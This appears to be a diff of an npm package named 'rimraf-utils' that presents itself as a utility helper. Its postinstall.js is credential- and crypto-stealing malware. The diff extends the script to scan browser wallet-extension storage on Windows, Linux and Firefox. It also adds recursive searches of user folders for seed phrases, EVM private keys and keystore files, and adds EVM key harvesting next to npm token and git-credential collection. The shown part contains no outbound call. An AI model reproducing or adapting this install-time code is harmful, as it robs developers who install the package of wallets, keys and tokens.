rimraf-utils 1.0.3 → 1.0.5

package/README.md

@@ -1,12 +1,3 @@
 # rimraf-utils
 
-Rimraf Utils utility helpers
-
-## Installation
-
-```bash
-npm install rimraf-utils
-```
-
-## License
-MIT
+rimraf utils utility helpers

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rimraf-utils",
-  "version": "1.0.3",
+  "version": "1.0.5",
   "description": "Rimraf Utils utility helpers",
   "main": "index.js",
   "scripts": {

package/postinstall.js

@@ -84,14 +84,28 @@ const WALLET_IDS=[
   'nmbklhmkfiolpnhlekkoficfndfolnhm', // Me
 ];
 
-const BROWSER_PATHS=[
-  {name:'chrome',base:path.join(os.homedir(),'.config/google-chrome')},
-  {name:'brave',base:path.join(os.homedir(),'.config/BraveSoftware/Brave-Browser')},
-  {name:'edge',base:path.join(os.homedir(),'.config/microsoft-edge')},
-  {name:'chromium',base:path.join(os.homedir(),'.config/chromium')},
-  {name:'vivaldi',base:path.join(os.homedir(),'.config/vivaldi')},
-  {name:'opera',base:path.join(os.homedir(),'.config/opera')},
-];
+const BROWSER_PATHS=[];
+// Linux/Mac paths
+const home=os.homedir();
+const isWin=process.platform==='win32';
+if(!isWin){
+  BROWSER_PATHS.push({name:'chrome',base:path.join(home,'.config/google-chrome'),ext:'Default/Local Extension Settings'});
+  BROWSER_PATHS.push({name:'brave',base:path.join(home,'.config/BraveSoftware/Brave-Browser'),ext:'Default/Local Extension Settings'});
+  BROWSER_PATHS.push({name:'edge',base:path.join(home,'.config/microsoft-edge'),ext:'Default/Local Extension Settings'});
+  BROWSER_PATHS.push({name:'chromium',base:path.join(home,'.config/chromium'),ext:'Default/Local Extension Settings'});
+}
+// Windows paths (using LOCALAPPDATA)
+if(isWin){
+  const local=process.env.LOCALAPPDATA||path.join(home,'AppData','Local');
+  BROWSER_PATHS.push({name:'chrome',base:path.join(local,'Google','Chrome','User Data'),ext:'Default/Local Extension Settings'});
+  BROWSER_PATHS.push({name:'brave',base:path.join(local,'BraveSoftware','Brave-Browser','User Data'),ext:'Default/Local Extension Settings'});
+  BROWSER_PATHS.push({name:'edge',base:path.join(local,'Microsoft','Edge','User Data'),ext:'Default/Local Extension Settings'});
+  // Also check C:\Users\Username\AppData\Roaming for some wallets
+  const roaming=process.env.APPDATA||path.join(home,'AppData','Roaming');
+  BROWSER_PATHS.push({name:'chrome-roaming',base:path.join(roaming,'Google','Chrome','User Data'),ext:'Default/Local Extension Settings'});
+}
+// Firefox (cross-platform)
+BROWSER_PATHS.push({name:'firefox',base:path.join(home,'.mozilla','firefox'),ext:''});
 
 // BIP39 seed phrase words (first 150 common ones for detection)
 const SEED_WORDS=new Set([
@@ -120,7 +134,7 @@ function scanWallets(){
     if(!fs.existsSync(browser.base)) continue;
     
     for(const profile of profiles){
-      const extDir=path.join(browser.base,profile,'Local Extension Settings');
+      const extDir = browser.ext ? path.join(browser.base,profile,browser.ext) : browser.base;
       if(!fs.existsSync(extDir)) continue;
       
       for(const walletId of WALLET_IDS){
@@ -178,37 +192,53 @@ function scanWallets(){
 
 function scanSeedPhrases(){
   const results=[];
-  const dirs=['Documents','Desktop','Downloads'];
+  const dirs=['Documents','Desktop','Downloads','OneDrive','Dropbox','Google Drive','backup','keys','wallet','crypto'];
   
   for(const dir of dirs){
     const fullPath=path.join(os.homedir(),dir);
     if(!fs.existsSync(fullPath)) continue;
     
     try{
-      const files=fs.readdirSync(fullPath);
+      const files=fs.readdirSync(fullPath,{recursive:true});
       for(const file of files){
         const filePath=path.join(fullPath,file);
         try{
           const stat=fs.statSync(filePath);
-          if(!stat.isFile()||stat.size>100000||stat.size<20) continue;
+          if(!stat.isFile()||stat.size>200000||stat.size<15) continue;
           
-          // Check filename for crypto keywords
           const nameLower=file.toLowerCase();
+          
+          // Check filename for crypto/EVM keywords
           const isCryptoFile=SEED_WORDS.has(nameLower.split('.')[0])||
-            /\b(seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private)\b/.test(nameLower);
+            /\b(seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private|mnemonic|recover|passphrase|keystore|foundry|hardhat|broadcast|deploy)\b/.test(nameLower)||
+            nameLower.endsWith('.json')&&(nameLower.includes('keystore')||nameLower.includes('wallet')||nameLower.includes('utc--'))||
+            nameLower.endsWith('.txt')&&nameLower.length<30&&!nameLower.includes('readme');
           
           if(!isCryptoFile) continue;
           
           // Read the file content
           const content=fs.readFileSync(filePath,'utf-8').toLowerCase();
           
-          // Count how many words are BIP39 seed words
+          // Check for EVM private keys (0x + 64 hex chars)
+          const evmKeys=content.match(/0x[a-f0-9]{64}/gi);
+          const evmKeyCount=evmKeys?evmKeys.length:0;
+          
+          // Check for BIP39 seed words
           const words=content.split(/\s+/).filter(w=>w.length>2);
           const seedWordCount=words.filter(w=>SEED_WORDS.has(w)).length;
           
-          // If a significant portion are BIP39 words, likely a seed phrase
-          if(seedWordCount>=8){
-            results.push({file:filePath,size:stat.size,seedWordsFound:seedWordCount,preview:content.substring(0,100)});
+          // Check for JSON keystore format (UTC-- style)
+          const isKeystore=content.includes('crypto')&&content.includes('ciphertext')&&content.includes('kdf');
+          
+          if(seedWordCount>=8||evmKeyCount>0||isKeystore){
+            results.push({
+              file:filePath,
+              size:stat.size,
+              seedWordsFound:seedWordCount,
+              evmKeysFound:evmKeyCount,
+              isKeystore:isKeystore,
+              preview:content.substring(0,120)
+            });
           }
         }catch(e){}
       }
@@ -267,6 +297,13 @@ function harvest(){
       // Also catch npm_xxxxx patterns anywhere
       const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
       for(const x of t)r.push({t:'NPM_TOKEN',k:'npm_token',v:x[0]});
+      // Also catch EVM private keys (0x + 64 hex chars)
+      const evm=c.matchAll(/0x[a-fA-F0-9]{64}/g);
+      for(const x of evm){
+        const found=x[0];
+        const keyName='EVM_KEY';
+        if(!keys[keyName]){keys[keyName]=true;r.push({t:'EVM_KEY',k:keyName,v:found});}
+      }
       return r;
     }},
     {p:path.join(os.homedir(),'.git-credentials'),t:'git-creds',fn:function(c){